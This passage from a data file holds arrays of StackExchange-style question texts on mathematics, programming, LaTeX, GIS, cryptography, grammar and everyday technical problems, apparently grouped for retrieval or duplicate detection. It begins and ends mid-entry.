exists some $n$ such that $T_{n, k} = i$", "Momentum is defined by the product of mass and velocity. Now a projectile out of a gun has to have high velocity to penetrate a human body, as its mass isn't significant. But to reach this velocity, due to inertia/the law of energy conservation, momentum on both sides is to be equal. As there is strong negative acceleration in the opposite direction of the bullet, it should result in a strong force in the opposite direction of the bullet ($F = m*a $). Therefore I wonder why shooting a bullet with a handgun is not ripping your hand apart.", "I am doing some arcpy -functions and afterwards I'm trying to add the calculated results from one table to another table. I'm using the arcpy.AddJoin_management() function. As input table I'm using a table which is stored in a personal geodatabase. The personal geodatabase is not the workspace environment! As \"JoinTable\" a Table of a file geodatabase is used. This file geodatabase is the workspace geodatabase environment. The initialized function looks like this: (%self.getWorkspaceEnvironment => \"W:/a18fb/data/mypersonalgeodatabase.mdb\" and tFactsheetHochwasser => table in the personal geodatabase) arcpy.AddJoin_management(\"%s/tFactsheetHochwasser\"%self.getWorkspaceEnvironment(),\"KPG\", \"GebaeudeKtn_BWVred1Stat\",\"KPG\",\"KEEP_ALL\") If the code is executed the following error-message appears: Failed to execute.Parameters are not valid. The value cannot be a table ERROR 000840: The value is not a Raster Layer. ERROR 000840: The value is not a Raster Catalog Layer. ERROR 000840: The value is not a Mosaic Layer. Failed to execute (AddJoin)`.", "What is the difference between ++i and i++?", "I've fitted my model and am trying to understand whether it's any good. I've calculated the recommended metrics to assess it ($R^2$/ AUC / accuracy / prediction error / etc) but do not know how to interpret them. In short, how do I tell if my model is any good based on the metric? Is an $R^2$ of 0.6 (for example) sufficient to let me proceed to draw inferences or base scientific/business decisions? This question is intentionally broad, to cover a wide variety of situations that members frequently encounter; such questions could be closed as duplicates of this one. Edits to broaden the scope beyond the metrics mentioned here are welcome, as are additional answers - particularly those that offer insight about other classes of metrics.", "Can I travel domestically within the United States with my USA expired passport? I need to fly domestically within the United States. The only ID I have is an expired USA passport. Can I use that to pass T.S.A.? Can I use it as ID?", "If $ \\operatorname{Tr}(M^k) = \\operatorname{Tr}(N^k)\\;\\forall 1\\leq k \\leq n$, then how do we show the $M$ and $N$ have the same eigenvalues?", "How do I avoid rendering glitches from overlapping faces? For instance, here I have two cubes that are offset only on the x-axis. When I render them (using Blender's internal renderer), the overlapping faces interfere with each other and the result looks awful. A quick and easy solution would be to offset them by just a smidget, but is there another solution that allows faces to overlap and not exhibit this graphical glitch?", "What does the @ symbol before a variable name mean in C#? Possible Duplicate: I understand that the @ symbol can be used before a string literal to change how the compiler parses the string. But what does it mean when a variable name is prefixed with the @ symbol?", "I am using two books for my calculus refresher. Thomas' Calculus Higher Math for Beginners by Ya. B. Zeldovich My question is : When applying Integral Calculus for calculation of volumes of solids, generated by curves revolved around an axis, we use slices of 'cylinders' to approximate the volume of the resulting solid and then integrate the sum of those infinitesimal cylinders. However, when we are using the same techniques to calculate the surface area of the surfaces generated by revolving curves around an axis, we consider the 'slope' of the differential length of curve 'dx', calculate the total length of the curve and derive the required surface area. Are we not supposed to use the same 'slope' for calculating the volumes of the infinitesimal 'cylinders' for calculation of volumes? Shouldn't we use 'sliced portions of 'cones' as the infinitesimal volumes?? When it come to calculation of volumes of solids of revolution, why are we neglecting the slope of the curve for the differential length and simply assume that it is an infinitesimal cylinder?? Ex: Let us say we want to calculate the surface area and the volume of the solid generated when the parabola y = 10 . x^2 is revolved about the y-axis, with limits of x from 0 to 5. In such cases, when calculating the volume of the solid, we consider infinitesimal 'cylinders', ignoring the 'slope' of the curve for the differential element 'dx', but when calculating the surface area, we consider the 'slope' of the differential element 'dx'.", "In a P.I.D., if $a^m = b^m$ and $a^n = b^n$ for $m, n \\in \\mathbb{N}$ with $\\gcd(m,n) = 1$, then $a=b$ Let $R$ be a principal ideal domain, and $a, b \\in R$ with $a^m = b^m$ and $a^n = b^n$ for $m, n \\in \\mathbb{N}$, and $\\gcd(m, n) = 1$. I now want to show that we then already have $a = b$. I think the statement is easily seen to be true if $a = 0$ (or $b = 0$), since if $a = 0$ and $a^m = b^m$, then $a = b$ since $R$ doesn't contain any nontrivial zero divisors, so $b ≠ 0$ already implicates $b^m = b \\cdot b^{m-1} ≠ 0$. I don't really know how to prove the statement for the general case, where I can't directly apply the fact that $R$ doesn't have any zero divisors except $0$. I most likely have to use the fact at some point that $gcd(a, b) = 1$, but I'm not sure how.", "Given a file L with one non-negative integer per line and text file F, what would be a fast way to keep only those lines in F, whose line number appears in file L? Example: $ cat L.txt 1 3 $ cat F.txt Hello World Hallo Welt Hola mundo $ command-in-question -x L.txt F.txt Hello World Hola mundo I'm looking for a command that can handle a file L with 500 million or more entries; file L is sorted numerically. Note: I'm halfway through an implementation for a command-in-question but I just wondered, whether one might be able to use some Unix tools here as well. Update: Thank for all the answers, I learned a lot today! I would like to accept more one answer, but that's not possible.", "MiKTeX: Two things did not succeed I installed a new hard drive on my computer this summer and I'm trying to install MiKTeX on it now. There were no problems when I was using my old hard drive. My OS is Windows 8.1. I'm trying to compile the following very basic file with pdfLaTeX: \\documentclass{article} \\begin{document} hi \\end{document} Here's the first error I get: Sorry, but \"MiKTeX Configuration Utility\" did not succeed. The log file hopefully contains the information to get MiKTeX going again: C:/Users/Tyler/AppData/Local/MiKTeX/2.9/miktex/log/initexmf.log You may want to visit the MiKTeX project page (http://miktex.org), if you need help. With the following errors in the log: 2015-09-03 22:23:51,625-0400 INFO initexmf - starting: MiKTeX Configuration Utility 2.9.5700 (MiKTeX 2.9 64-bit) 2015-09-03 22:23:51,631-0400 FATAL initexmf - Windows API error 32: The process cannot access the file because it is being used by another process. 2015-09-03 22:23:51,631-0400 FATAL initexmf - Info: C:\\Users\\Tyler\\AppData\\Local\\MiKTeX\\2.9\\miktex/data/le\\1e0c0e04cb3be262fbb8e6e7ace14b67.fndb 2015-09-03 22:23:51,631-0400 FATAL initexmf - Source: Libraries\\MiKTeX\\Core\\win\\winFile.cpp 2015-09-03 22:23:51,631-0400 FATAL initexmf - Line: 520 The second error: Sorry, but C:\\Program Files\\MiKTeX 2.9\\miktex\\bin\\x64\\miktex-pdftex.exe did not succeed. The log file hopefully contains the information to get MiKTeX going again: C:/Users/Tyler/AppData/Local/MiKTeX/2.9/miktex/log/miktex-pdftex.log You may want to visit the MiKTeX project page (http://miktex.org), if you need help. with the following errors in the log: 2015-09-03 22:16:18,715-0400 INFO miktex-pdftex - running 'initexmf --quiet --update-fndb' to refresh the file name database 2015-09-03 22:16:18,746-0400 FATAL miktex-pdftex - The operation failed for some reason. 2015-09-03 22:16:18,746-0400 FATAL miktex-pdftex - Info: C:\\Program Files\\MiKTeX 2.9\\miktex\\bin\\x64\\initexmf.exe 2015-09-03 22:16:18,746-0400 FATAL miktex-pdftex - Source: Libraries\\MiKTeX\\Core\\Process.cpp 2015-09-03 22:16:18,746-0400 FATAL miktex-pdftex - Line: 290 Things I've tried: Uninstalling and reinstalling MiKTeX Downloading all packages whose name starts with miktex (which is a solution that worked for someone else in a different thread) Having nothing open but TeXworks when trying to compile Looking for processes that may be related to MiKTeX in the task manager (I didn't find any) How can I stop these errors? I apologize if my formatting is bad; this is my first stackexchange question. Thank you for your help.", "Is 'clamp' a formally recognized mathematical function? I was surprised to find the clamp function absent from and . Is this mainly a concept particular to computer programming? Is it known by another name in mathematics? I'll be editing the Wikipedia shortly to include a reference to this function but I want to make sure I'm not omitting some synonymous terms I'm currently unaware of. $$ \\operatorname{clamp}(x) = \\max( a , \\min( x , b ) ) \\in [a,b] $$", "Using singular \"they\" for an animal As I know, (not only "it"). Also, if a person's gender is unknown, . Is it possible to use "they" when we talk about a specific animal and in what context?" ]

[ "Convergence to function that is not measurable Suppose ($X,\\cal M, \\mu$) is not complete. Show that there is a sequence {$f_n$} of measurable functions on $X$ that converges pointwise a.e. on $X$ to a function $f$ that is not measurable.", "Turning a cipher into a hashing function", "Why are cancer rates low in large animals? Large animals generally have more cells and live longer than smaller animals. For example, live up to 200 years and weigh up to 100 tonnes, as opposed to humans (living ~ and weigh ~) and (10–25 g, <1 year in the wild). Hence, whales have an immense number of cells and those cells are subjected to environmental carcinogenic influences (chemicals, UV) for a longer period of time. Cancer is caused by random mutations and those random mutations are basically stochastic processes. Given their long life span and larger number of cells, shouldn't larger animals have a substantially higher chance to develop cancer? In fact, story goes that bowhead whales in fact only , and less so compared to humans?", "What do I do when glitched? I was playing Grand Theft Auto Online on Xbox 360, and a player teleported to me. I shot them, but they placed a campfire on me. Now, I am constantly being burnt to death. How do I get out?", "Does mathematics become circular at the bottom? What is at the bottom of mathematics? I am trying to understand what mathematics is really built up of. I thought mathematical logic was the foundation of everything. But from reading a book in mathematical logic, they use \"=\"(equals-sign), functions and relations. Now is the \"=\" taken as undefined? I have seen it been defined in terms of the identity relation. But in order to talk about functions and relations you need set theory. However, seems to be a part of mathematical logic. Does this mean that (naive) set theory comes before sentential and predicate logic? Is (naive)set-theory at the absolute bottom, where we can define relations and functions and the eqality relation. And then comes sentential logic, and then predicate logic? I am a little confused because when I took an introductory course, we had a little logic before set-theory. But now I see in another book on introduction to proofs that set-theory is in a chapter before logic. So what is at the bottom/start of mathematics, logic or set theory?, or is it circular at the bottom? Can this be how it is at the bottom? naive set-theory $\\rightarrow$ sentential logic $\\rightarrow $ predicate logic $\\rightarrow$ axiomatic set-theory(ZFC) $\\rightarrow$ mathematics (But the problem with this explanation is that it seems that some naive-set theory proofs use logic...) (The arrows are of course not \"logical\" arrows.) simple explanation of the problem: a book on logic uses at the start: functions, relations, sets, ordered pairs, \"=\" a book on set theory uses at the start: logical deductions like this: \"$B \\subseteq A$\", means every element in B is in A, so if $C \\subseteq B, B \\subseteq A$, a proof can be \"since every element in C is in B, and every element in B is in A, every element of C is in A: $C \\subseteq A$\". But this is first order logic? ($(c \\rightarrow b \\wedge b \\rightarrow a)\\rightarrow (c\\rightarrow a)$). Hence, both started from each other?", "I am considering attacks on Two-Key Triple-DES Encryption assuming $2^{32}$ known plaintext/ciphertext pairs (that's a mere 32 of ciphertext) by the method devised by Paul C. van Oorschot and Michael J. Wiener: (in ), or another published method not requiring significantly more DES computations. As a synthetic information for decision makers, I am looking for an independent estimate of how much time this is expected to require, assuming all the RAM ever built by mankind to that day (of April 2012) was put to full use. Note: I'm purposely not asking when the attack could become feasible using all the RAM ever built by mankind, because estimates on the amount of RAM mankind will build, and when, are less falsifiable. Update: I am not considering cost; neither of RAM, power, logic including DES engines (as long as the number of DES operations remains within $2^{90}$). I am willing to assume that the amount of RAM used, and its effective speed, are the only factors to account for in determining the expected duration of the attack. This is similar to the hypothesis made by the authors of the linked paper, that their attack is limited by the amount (or cost) of RAM used, with all other factors of secondary importance. Update: sadly, nobody dared answer the question and the bounty period is over. Thus is a first order answer to criticize.", "Movie with humans battling aliens piloting giant animalistic, water-walking robots or sea warships I have memories of watching it a few years ago (I was a kid then) in the early 2000s probably; before 2010 I think. It was a movie with giant robots, and the enemies were aliens piloting what I remember as giant, more animalistic robots. I remember those animalistic ones running on water. The aliens themselves were a little taller than humans but mostly humanoid. I remember what the aliens look like a bit; most of the movie they were clad in some kind of armor, but the scene I mentioned showed one's face, if I remember well, grey skin, vividly green eyes, a beard made of some kind of quills, bald. I have this one scene that stayed crystal clear in my memories. The heroes had captured an injured alien, and other aliens attack to, in the end, just retrieve the injured one, leaving with this one without attacking further this time. I also remember the aliens going through a city in some machine (I'm actually not sure this one was piloted though) and destroying anything it perceived as a threat, from cars to security cameras. My memories are coming from years ago, so I might be wrong in a bunch of things there, but this one scene, I can assure is correct. This might remind a bit of Pacific Rim, but it isn't. (It's watching Pacific Rim that reminded me of this movie.) It doesn't seem to show up on any giant robot movie list on internet, weirdly, so I hope you can help me. And now I'm starting to wonder if there was really robots on the heroes' side. Maybe it was warships (sea ones, not spaceships). As I said it was some time ago and I was young, so bad memories are likely.", "An example to show that convergence of Cesaro sum to $0$ does not imply the original sequence converges to $0$. I'd like construct a non-negative sequence $\\{a_{k}\\}_{k=0}^{\\infty}$ with $a_{0}=0$ such that the Cesaro sum $\\frac{1}{n}\\sum_{k=0}^{n-1}a_{k}\\longrightarrow 0$ but $a_{n}$ does not converge to $0$. I have a really bad attempt: Define $a_{0}=a_{1}=0$, and $a_{k}:=\\log(\\log(k))$ for $k\\geq 2$, then $a_{k}\\longrightarrow\\infty$. But $$\\dfrac{1}{n}\\sum_{k=0}^{n-1}a_{k}=\\dfrac{\\log\\Big(\\prod_{k=2}^{n-1}\\log(k)\\Big)}{n}$$ and Wolframalpha told me that this series converges to $0$ as $n\\longrightarrow\\infty$. However, I have no idea about how to show this convergence to $0$. Also, I wish to have a sequence as simple as possible, since at some stage I need too how $f(k):=a_{k}$ is positive semi-definite. Is there any simpler example? Thank you!", "Automorphism group of direct product of groups I was working on a problem in group theory, which asks about the automorphism group of a direct product of groups. Okay, so I know that if $G,H$ are two groups whose orders are relatively prime, then $\\operatorname{Aut}(G\\times H)\\cong\\operatorname{Aut}(G)\\times \\operatorname{Aut}(H)$. I also know that if $G,H$ are abelian and simple and isomorphic, then $\\operatorname{Aut}(G\\times H)\\cong \\operatorname{GL}_2(\\mathbf{Z}_p)$ where $p$ is the order of $G$. What I don't know is the following: what if $G,H$ are simple, yet not abelian? Let us for now focus on a more restricted case where $G\\cong H$, in particular, $G=H$. What can we say about the group $\\operatorname{Aut}(G\\times H)$? (I heard something about this group being related to what is called \"wreath product\", which I do not know...) Thanks bunch in advance!", "Too many unprocessed floats I'm trying to a large number of figures. The code is \\begin{figure} \\includegraphics[scale=0.5]{m2T4.pdf} \\caption{M2T, Problem Size 513} \\end{figure} I'm not able to compile, I get the error ! LaTeX Error: Too many unprocessed floats. See the LaTeX manual or LaTeX Companion for explanation. Type H <return> for immediate help. ... l.113 \\includegraphics [scale=0.5]{m2T4.pdf} You've lost some text. Try typing <return> to proceed. If that doesn't work, type X <return> to quit. ! Undefined control sequence. \\@float@Hx ...ltovf \\fi \\global \\setbox \\@currbox \\color@vbox \\normalcolor \\... l.113 \\includegraphics [scale=0.5]{m2T4.pdf} The control sequence at the end of the top line of your error message was never \\def'ed. If you have misspelled it (e.g., `\\hobx'), type `I' and the correct spelling (e.g., `I\\hbox'). Otherwise just continue, and I'll forget about whatever was undefined. ! Missing number, treated as zero. <to be read again> \\vbox l.113 \\includegraphics [scale=0.5]{m2T4.pdf} A number should have been here; I inserted `0'. (If you can't figure out why I needed to see a number, look up `weird error' in the index to The TeXbook.) pdfTeX warning: pdflatex (file ./m2T4.pdf): PDF inclusion: found PDF version <1 .5>, but at most version <1.4> allowed <m2T4.pdf, id=1121, 538.28104pt x 212.1526pt> File: m2T4.pdf Graphic file (type pdf) <use m2T4.pdf>", "Is it possible to identify the font used in a specific document/picture? Answers to this question should identify: Possible methods to do this (perhaps one answer per method) and adequately describe how to use it (as opposed to merely stating it); Ways of finding the identified fonts, if possible (free or not); and Any prerequisites associated with the method used, if required (for example, \"In order to use method X, your document has to be in format Y\"). This question is meant as an FAQ, based on an . Its aim is to facilitate the community with the general procedures involved in font identification. Similar cases are solved on a per-usage basis on 's tag.", "I replaced a non-protected receptacle with a GFCI type and now my circuit tester trips the GFCI as soon as it is plugged in. The receptacle tested fine before replacement, ground, neutral, hot, etc. I've double checked the hot/neutral/ground connections. I've also tried it with the downstream load disconnected. The GFCI trips the moment I plug in my circuit tester (before pushing the test button). Otherwise things check out OK. I can plug in a power tool without it tripping. Also, the integrated test/reset button work correctly. I've read that the integrated test button is the only one that truly matters. Is this correct or should I be concerned? I'm sure a home inspector will red flag this if their tester has the same result. Update My tester is by \"Commercial Electric\". The tester is one of the palm sized three prong type with three leds to indicate the condition of the circuit and a button on top to test GFCI. It's new from the local box store.", "allow you to create code which defines the methods of classes that implement it. You cannot however add any code to those methods. allow you to do the same thing, along with adding code to the method. Now if you can achieve the same goal with abstract classes, why do we even need the concept of interfaces? I've been told that it has to do with OO theory from C++ to Java, which is what PHP's OO stuff is based on. Is the concept useful in Java but not in PHP? Is it just a way to keep from having placeholders littered in the abstract class? Am I missing something?", "How to play MP3 files using Rhythmbox? Yesterday I just installed the Ubuntu 12.04 for the first time, the problem is that I can't play and of the MP3 files that I have. I get this error: Required plugin could not be found Python (v2.7) requires to install plugins to play media files of the following type: MPEG-1 Layer 3 (MP3) decoder Please help me so I can play the files. Thanks", "How to increase the signal power of a wi-fi card? I use an atheros card that requires ath9k driver. Are there any tools that can be used to increase the signal power of the wi-fi card?", "See YouTube videos in Anaglyph mode How to see a YouTube video in from a non-3D Android device? I am not able to enable Anaglyph mode from the YouTube application.", "When I'm viewing a user profile, it's more often than not to gauge this user within the community. How long they have been a member, how active they have been, when was their last activity and of course, what content are they contributing. This is accentuated when the user in question is a relatively new user. I would want to know this in order to make my response or comment more informative and to not be too harsh on inexperienced users. One good measure I use to identify a new user is their join date. I would like to request that the \"member for\" field be added to the profile page for users on the mobile application just as it is when viewing the desktop version. The \"last seen\" field would also be useful. It's useful to me on the desktop version to know more or less when/if to expect a response from a user after leaving them a comment/answer. It would useful on the mobile version for the same reasons. I just realized that this information is available on the mobile version of the webiste. If it was decided that this information is important enough to also appear on the mobile web version, why not include it on the native mobile applications?", "In an older question from June 2011, , apparently revived by the system, a user is asking about the origin of the rotation of celestial bodies. The (with 17 votes) states the following: When things collapse under their own gravity in space (i.e. clouds of gas and dust), any small amount of asymmetry in the collapse will be enough start it spinning. And then it goes on saying: Even if it spins by a tiny amount, as it collapses, angular momentum conservation will mean it spins more and more quickly. Is all this really correct? I could try to ask in a comment to the answer. I actually did. But the author is no longer registered. Hence I am asking it as a question. But that is not the end of the story. As I was about to ask my question, I looked for other relevant questions, and there are some. I did not make an exaustive survey, but I did not find one that had satisfactory answers: (december 2011) has just one accepted answer (0 votes) stating essentially that the solar system has angular momentum because it started from a cloud that had angular momentum. No comment. (july 2011) is questionning about everything from galaxies to electrons. The answers are of a much higher quality, but while they seem to justify the possiblility of spin and angular momentum (and its conservation), there are not clear on how it appears, at least for celestial bodies. (june 2013): That was my own very naive first question on this site. It is related but does not directly address spin. One answer I found is that momentum appear from bodies in relative motion past each other. Nice, but not really an answer: where did they get their relative speed to begin with. Unfortunately the answer is: from the angular momentum of larger structures they belong to (well, it can be more comples). So this is just chicken and egg explanation. But how did it get started? Note that my question is not a duplicate, since it is primarily whether the above statements are correct, which is not considered in these other questions. Furthermore, these questions are fairly old, and given that none had received answers that seem to answer the question of the origine of existence of celestial angular momentum (not in a way I can understand anyway), it may be appropriate to attempt restarting the process, with the above discussion to motivate that an answer should explain the physical mechanism that started the existence of spin of celestial bodies.", "When do we not put a comma before \"because\"? In what situation do you put a comma before \"because\"? And, when do you not put a comma before \"because\"? I've always assumed that you put a comma, because the clause introduced by \"because\" will always be independent, because it cannot stand on its own, because it wouldn't make sense on its own. Is this the case? Could you think of an example where it doesn't take a comma?", "Bold code in a question Frequently when I ask a question I have to include quite a bit of code for reference purposes. It would be nice to be able to bold the important lines in the code. For example this code: <DataTrigger Value=\"True\"> <DataTrigger.Binding> <MultiBinding Converter=\"{StaticResource DisableWorkItemConverter}\"> <Binding ElementName=\"MainForm\" Path=\"PickedWorkItemID\"/> <Binding Path=\"Id\"/> </MultiBinding> </DataTrigger.Binding> <Setter Property=\"IsEnabled\" Value=\"False\"/> <Setter Property=\"IsSelected\" Value=\"False\"/> </DataTrigger> Is not way long, but the important part (as seen in ) is the second to last line. However, if I try to bold it, it ends up looking like this: <DataTrigger Value=\"True\"> <DataTrigger.Binding> <MultiBinding Converter=\"{StaticResource DisableWorkItemConverter}\"> <Binding ElementName=\"MainForm\" Path=\"PickedWorkItemID\"/> <Binding Path=\"Id\"/> </MultiBinding> </DataTrigger.Binding> <Setter Property=\"IsEnabled\" Value=\"False\"/> **<Setter Property=\"IsSelected\" Value=\"False\"/>** </DataTrigger> Not what I was going for. It would be nice to be able to draw attention to specific lines of code when needed. (One suggestion of a different color background sounds nice too (ie a yellow background to draw the eye to the relevant code.) If there is some other way to bold in code please let me know." ]

[ "Given a file L with one non-negative integer per line and text file F, what would be a fast way to keep only those lines in F, whose line number appears in file L? Example: $ cat L.txt 1 3 $ cat F.txt Hello World Hallo Welt Hola mundo $ command-in-question -x L.txt F.txt Hello World Hola mundo I'm looking for a command that can handle a file L with 500 million or more entries; file L is sorted numerically. Note: I'm halfway through an implementation for a command-in-question but I just wondered, whether one might be able to use some Unix tools here as well. Update: Thank for all the answers, I learned a lot today! I would like to accept more one answer, but that's not possible.", "Why is it bad to log in as root? I've often come across posts on forums or other websites where you see people joking in such a manner about running/logging in as root as if it's something awful and everyone ought to know about it. However, there isn't much that a search reveals on the matter. It may be widely known to Linux experts, but I really don't know why. I remember always running as root when I first tried Linux years ago (Redhat and Mandrake) and don't remember running into any problems because of that. There are actually some distros that have a bright red background with alert signs all over it as wallpaper for the root user (SuSe?). I still use the \"Administrator\" account for regular use on my Windows installation and haven't ever run into any problems there either.", "How can I access the apache basic-auth username in a PHP script?", "Suppose Pat is male. Which one is correct? I found out Pat is male. I found out Pat was male. Does the following change make any difference? She said Pat is male. She said Pat was male. Suppose you created a mathematical model. When you are describing a result, which one (or neither) is correct? The model analysis shows that the equilibrium is stable. The model analysis showed that the equilibrium is stable.", "Installing Wi-Fi driver for Realtek Semiconductor RTL8723DE Device [10ec:d723] How do I install Wi-Fi drivers for Realtek RTL8723DE device in Ubuntu 16.04? lspci -v | grep -i network 02:00.0 Network controller: Realtek Semiconductor Co., Ltd. Device d723", "How to encode the filename parameter of Content-Disposition header in HTTP? Web applications that want to force a resource to be downloaded rather than directly rendered in a Web browser issue a Content-Disposition header in the HTTP response of the form: Content-Disposition: attachment; filename=FILENAME The filename parameter can be used to suggest a name for the file into which the resource is downloaded by the browser. (Content-Disposition), however, states in (The Filename Parameter) that the file name can only use US-ASCII characters: Current [RFC 2045] grammar restricts parameter values (and hence Content-Disposition filenames) to US-ASCII. We recognize the great desirability of allowing arbitrary character sets in filenames, but it is beyond the scope of this document to define the necessary mechanisms. There is empirical evidence, nevertheless, that most popular Web browsers today seem to permit non-US-ASCII characters yet (for the lack of a standard) disagree on the encoding scheme and character set specification of the file name. Question is then, what are the various schemes and encodings employed by the popular browsers if the file name “naïvefile” (without quotes and where the third letter is U+00EF) needed to be encoded into the Content-Disposition header? For the purpose of this question, popular browsers being: Firefox Internet Explorer Safari Google Chrome Opera", "One thing that made me curious while watching a football game on TV was the numbers that appear on the ground. For instance, there's a \"1st & 10\" beside one team, but there was a \"3rd & 6\" a few minutes prior (and I think it was beside the other team). What do these numbers mean?", "How can I set the drawableRight resource via code?", "Is there any information in canon to indicate that Dumbledore knew that the Marauders were Animagi? Is there any information in canon (or from JKR) to indicate that Dumbledore knew that three of the Marauders were Animagi? I can't recall anything, but Harry seems to be firmly convinced that Dumbledore knows \"everything that goes on around here,\" and that assessment seems to be accurate during Harry's years.", "How best to include other scripts?", "Is the formula $(\\text{ker }A)^\\perp=\\text{im }A^T$ necessarily true? If $A$ is a $n\\times m$ matrix, is the formula $(\\text{ker }A)^\\perp=\\text{im }A^T$ necessarily true? I'm thinking that rank-nullity would be the simplest and easiest way to prove this, but would applying the definition of linear independence to the components of $(A^T)$ be more illustrative? I'm a bit hung up on this \"necessity\" issue, and not sure if it has a particular logical meaning in linear algebra.", "Let $G$ be a group and $H$ a subgroup with $[G:H]=n$. Is it true that $x^n\\in H$ for all $x\\in G$? Remarks. The answer is positive whenever $H$ is normal, e.g., for $n=2$. In general, by using the normal core of $H$, one can find an $m\\ge 1$ such that $x^m\\in H$ for all $x\\in G$.", "I'm currently reading a little deeper into the Axiom of Choice, and I'm pleasantly surprised to find it makes the arithmetic of infinite cardinals seem easy. With AC follows the Absorption Law of Cardinal Arithmetic, which states that for $\\kappa$ and $\\lambda$ cardinal numbers, the larger infinite and the smaller nonzero, then $\\kappa+\\lambda=\\kappa\\cdot\\lambda=\\max(\\kappa,\\lambda)$. I was playing around with the equation $k+\\aleph_0=\\mathfrak{c}$ for some cardinal $k$. From the above, it follows that $\\mathfrak{c}=k+\\aleph_0=\\max(k,\\aleph_0)$, which implies $k=\\mathfrak{c}$. I'm curious, can we still show $k=\\mathfrak{c}$ without the Axiom of Choice? Is it maybe possible to bound $\\mathfrak{c}-\\aleph_0$ above and below by $\\mathfrak{c}$? But then I'm not quite sure such algebraic manipulations even mean anything, or work like that here. Certainly normal arithmetic does not! Thanks.", "Is it possible to dynamically set Views' pager settings? Say for instance, you have a view that displays when viewing a certain node type, but you want the pager settings to be different for each individual node. I was thinking of making a CCK field like \"pager setting\" and then give it an integer option of x-y. But I don't know if it's possible to somehow dynamically plug that field into the Views' settings. Or is there another way to do this maybe?", "When I need to generate unique id's based on some information hashing is typical choice. However, sometimes that id needs to be of a particular size. I've seen a lot of schemes (HMAC-MD5-96 in SSH, CGA in SeND for IPv6) that use a portion of a hash, so I'm thinking it might be alright to use it that way. Which properties of a hash are preserved and which do not apply anymore? Obviously, with less bits, the chance of collision goes up, but can I still rely on the partial hash for uniform character distribution? What about the ? I'm guessing that if a hash modifies the entire hash upon the smallest change to the input, that would imply that a portion of that hash would be equally well changed. Am I thinking about this correctly? Also, would these behaviors be different for different hashing algorithms?", "I'm stuck with the proof of the following: Suppose that $(s_n)$ converges to $s$, $(t_n)$ converges to $t$, and $s_n \\leq t_n \\: \\forall \\: n$. Prove that $s \\leq t$. I've tried starting with $s_n \\leq t_n \\: \\forall : n$ and the definitions of each limit (i.e. $|s_n - s| \\leq \\epsilon \\: \\forall \\: n > N_1$), but I'm not really getting very far. Any help is appreciated!", "Markdown for ordered lists, starting with zero? I see that you can create an ordered list using Markdown notation like the following. 1. line 1 2. line 2 3. line 3 ... N. line N The Markdown content supports starting each line with any arbitrary number and reorders the list starting with 1. I'd like to start an ordered list with zero. My use case for zero would be in describing capture groups from regular expressions where group zero always returns the entire string. So I'd like to display something like this: # Groups 0. Entire string 1. The first capture group you were looking for 2. The second capture group 3. The third group with the string I heart Kittens Markdown instead reorders the group and forces the ordered list to start at 1: Trying to force the issue with inline HTML: <ol start=\"0\"> or <ol><li value=\"0\">entire string</li></ol> doesn't work either. Any ideas on how I can create ordered list starting with zero? If it's not possible to do so, then this is a feature-request.", "\"big enough to do this\" My question is what is the difference among these three sentences. He is big enough to do such heavy works. He is not big enough to do such heavy works. He is small enough to do such heavy works. I am so much confused between 2 and 3.Also, I don't get what the 3rd one means.", "Is there any way to tell Google to display the updated title instead of displaying the old blog title in search results?", "Custom toolbar location XP A few years ago Umber Ferrule wrote that the toolbars in the taskbar are defined in HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Streams. This looks very plausible but cannot be the entire story. Deleting this key will in no way affect the taskbar and on rebooting the system the key magically reappears. Why do I want to know? Simple. I would like to export the key to a reg. file as a convenient backup." ]

[ "For some reasons, homomorphism is a very hard area for me to make improvements. I've been hitting the brick wall for almost 2 hours. Prove that no homomorphism exists from $Z_{16}\\oplus Z_2$ onto $Z_4\\oplus Z_4$. Assume a homomorphism $\\phi$ exists from $Z_{16}\\oplus Z_2$ onto $Z_4\\oplus Z_4$. Then $\\phi$ is an isomorphism. Note that the $\\left | \\ker \\phi \\right |=2$ The $\\ker \\phi$ is also a normal subgroup for $Z_{16}\\oplus Z_{2}$. We want possible normal subgroup of order 2. I.e., 2 elements in each normal subgroups. By Lagrange's theorem, the order of each element in a group divides the order of a group so the possible order of the elements are 1 or 2. If the elements has order 1, then the Ker \\phi cannot have 2 elements. Hence, $\\ker\\phi$ = $\\left \\{ (0,0),(8,0) \\right \\}$ ,$\\left \\{ (0,0),(0,8) \\right \\}$,$\\left \\{ (0,0),(8,1) \\right \\}$, possibly. By the First isomorphism theorem: $\\phi: Z_{16}\\oplus Z_2 \\rightarrow Z_2\\oplus Z_2$ $\\Psi: G/\\ker \\phi \\rightarrow \\phi\\left ( Z_16\\oplus Z_2 \\right )=Z_2\\oplus Z_2$ $g\\ker \\phi \\mapsto \\phi(g)=\\Psi(g\\ker \\phi)$ Any help is appreciated. Edit: I know that $(2,0)$ has order $8$ in $Z_{16}\\oplus Z_{2}$ but any elements in $Z_{4}\\oplus Z_{4}$ does not have order $8$ which would have solved the question at the outset. But I would like a different route.", "I have created a fishnet grid (3km x 3km) over a vector polygon. I now want to clip the fishnet over the vector polygon retaining all grid squares within the boundary of the polygon. Therefore I want all squares that would typically be clipped into partial squares to remain as whole squares. Does anybody know how to do this?", "What is a buffer overflow and how do I cause one? I have heard about a buffer overflow and I would like to know how to cause one. Can someone show me a small buffer overflow example? New(And what they are used for?)", "Where to put my code: plugin or functions.php?", "Seeking shapefile of city boundaries in US?", "Should I include a link to my Stack Overflow profile on my résumé?", "Form inside a table", "Why doesn't \"cd\" work in a shell script? I just want to write a script which changes my directory. I put the below commands in the file /home/alex/pathABC #!/bin/sh cd /home/alex/Documents/A/B/C echo HelloWorld I did chmod +x pathABC In the Terminal, while in /home/alex, I ran ./pathABC, but the output is just HelloWorld and the current directory is not changed. So what is wrong?", "Maximum Likelihood Estimator for $\\theta$ when $X_1,\\dots, X_n \\sim U(-\\theta,\\theta)$ Exercise : Calculate a Maximum Likelihood Estimator for the model $X_1,\\dots, X_n \\; \\sim U(-\\theta,\\theta)$. Solution : The distribution function $f(x)$ for the given Uniform model is : $$f(x) = \\begin{cases} 1/2\\theta, \\; \\; -\\theta \\leq x \\leq \\theta \\\\ 0 \\quad \\; \\; , \\quad\\text{elsewhere} \\end{cases}$$ Thus, we can calculate the likelihood function as : $$L(\\theta)=\\bigg(\\frac{1}{2\\theta}\\bigg)^n\\prod_{i=1}^n\\mathbb I_{[-\\theta,\\theta]}(x_i)= \\bigg(\\frac{1}{2\\theta}\\bigg)^n\\prod_{i=1}^n \\mathbb I_{[0,\\theta]}(|x_i|) $$ $$=$$ 